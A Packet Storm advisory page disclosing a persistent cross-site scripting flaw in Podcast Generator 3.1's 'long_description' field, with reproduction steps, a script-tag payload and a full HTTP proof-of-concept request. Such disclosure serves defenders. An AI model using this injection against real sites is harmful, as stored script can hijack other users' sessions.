what you don't know can hurt you

Podcast Generator 3.1 Cross Site Scripting

Podcast Generator 3.1 Cross Site Scripting
Posted May 14, 2021
Authored by Aysenur Karaaslan

Podcast Generator version 3.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | ae8038f9be106fca0d51f9c7a9b18969

Podcast Generator 3.1 Cross Site Scripting

Change Mirror Download
# Exploit Title: Podcast Generator 3.1 - 'Long Description' Persistent Cross-Site Scripting (XSS)
# Date: 13/05/2021
# Exploit Author: Ay┼čenur KARAASLAN
# Vendor Homepage: https://podcastgenerator.net/demoV2/
# Software Link: https://podcastgenerator.net/download and https://github.com/PodcastGenerator/PodcastGenerator/archive/v3.1.1.zip
# Version: < 3.1.1
# CVE: N/A

Podcast Generator is an open source Content Management System written in PHP and specifically designed for podcast publishing.

#Description
The following is PoC to use the XSS bug with unauthorized user.

1. Login to your admin account.
2. "Upload New Episode" or "Edit" field has got "Long Description". Long Description field is not filtered. It is possible to place JavaScript code.
3. Click the Home button
4. Click "More" button of created or edited episode.

# Vulnerable Parameter Type: POST
# Vulnerable Parameter: long_description
# Attack Pattern: <script>prompt("Aysenur-PoC")</script>

#PoC
HTTP Request:

POST /demoV2/pg/?p=admin&do=edit&c=ok HTTP/1.1
Host: podcastgenerator.net
Cookie: PHPSESSID=2k93317b1dcraih0ti3p8rehc4;
_ga=GA1.2.2015734934.1620928725; _gid=GA1.2.1455863373.1620928725
Content-Length: 1590
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://podcastgenerator.net
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryMJiUJ3BGzyG5zwxd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Referer:
https://podcastgenerator.net/demoV2/pg/?p=admin&do=edit&=episode&name=aysenurxss-poc.jpg
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="userfile"

aysenurxss-poc.jpg
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="title"

Aysenur-PoC
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="description"

poc
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="countdown"

255
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="category[]"

about
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="Day"

13
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="Month"

5
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="Year"

2021
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="Hour"

14
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="Minute"

29
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="long_description"

<script>prompt("aysenur-xss")</script>
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="keywords"

poc
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="explicit"

no
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="auth_name"

aysenur
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd
Content-Disposition: form-data; name="auth_email"

aysenur@emailaddress.com
------WebKitFormBoundaryMJiUJ3BGzyG5zwxd--
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    5 Files
  • 4
    Aug 4th
    7 Files
  • 5
    Aug 5th
    7 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close